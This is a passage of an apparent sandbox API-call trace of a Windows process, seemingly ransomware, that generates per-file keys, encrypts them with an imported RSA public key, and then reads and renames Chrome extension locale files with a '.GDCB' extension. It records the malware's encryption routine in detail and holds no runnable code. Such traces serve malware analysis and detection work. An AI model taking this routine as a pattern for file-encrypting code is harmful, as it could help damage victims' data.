returned 1 [0265.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.590] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.592] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67951e0) returned 1 [0265.592] CryptGetKeyParam (in: hKey=0x67951e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.592] CryptEncrypt (in: hKey=0x67951e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.592] GetLastError () returned 0x0 [0265.592] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.592] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.594] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795560) returned 1 [0265.594] CryptGetKeyParam (in: hKey=0x6795560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.594] CryptEncrypt (in: hKey=0x6795560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.594] GetLastError () returned 0x0 [0265.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.594] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.596] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.598] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.601] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe1, lpOverlapped=0x0) returned 1 [0265.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.616] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0265.623] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.628] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.628] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.631] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.633] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.633] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.634] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.636] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67955a0) returned 1 [0265.636] CryptGetKeyParam (in: hKey=0x67955a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.636] CryptEncrypt (in: hKey=0x67955a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.636] GetLastError () returned 0x0 [0265.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.636] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.638] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795220) returned 1 [0265.638] CryptGetKeyParam (in: hKey=0x6795220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.638] CryptEncrypt (in: hKey=0x6795220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.638] GetLastError () returned 0x0 [0265.639] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.639] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.642] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.645] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0265.654] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.662] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0265.667] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.673] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.673] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.673] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.678] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.678] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.678] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.681] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795260) returned 1 [0265.681] CryptGetKeyParam (in: hKey=0x6795260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.681] CryptEncrypt (in: hKey=0x6795260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.681] GetLastError () returned 0x0 [0265.681] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.681] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.683] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795360) returned 1 [0265.683] CryptGetKeyParam (in: hKey=0x6795360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.683] CryptEncrypt (in: hKey=0x6795360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.683] GetLastError () returned 0x0 [0265.683] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.683] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.685] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.687] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.690] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe3, lpOverlapped=0x0) returned 1 [0265.697] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.703] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0265.708] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.714] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.714] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.714] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.714] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.716] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.719] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.719] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.721] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795120) returned 1 [0265.721] CryptGetKeyParam (in: hKey=0x6795120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.721] CryptEncrypt (in: hKey=0x6795120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.722] GetLastError () returned 0x0 [0265.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.722] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.724] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67953e0) returned 1 [0265.724] CryptGetKeyParam (in: hKey=0x67953e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.724] CryptEncrypt (in: hKey=0x67953e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.724] GetLastError () returned 0x0 [0265.724] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.724] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.725] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.728] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.730] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd4, lpOverlapped=0x0) returned 1 [0265.739] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.745] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0265.751] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.756] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.756] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.761] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.761] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.761] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.761] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67956a0) returned 1 [0265.763] CryptGetKeyParam (in: hKey=0x67956a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.763] CryptEncrypt (in: hKey=0x67956a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.764] GetLastError () returned 0x0 [0265.764] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.764] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.766] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795420) returned 1 [0265.766] CryptGetKeyParam (in: hKey=0x6795420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.766] CryptEncrypt (in: hKey=0x6795420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.766] GetLastError () returned 0x0 [0265.766] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.766] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.767] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.770] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.772] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd4, lpOverlapped=0x0) returned 1 [0265.781] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.787] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0265.793] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0265.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.798] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.798] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0265.798] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.799] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0265.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.803] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.803] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0265.803] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 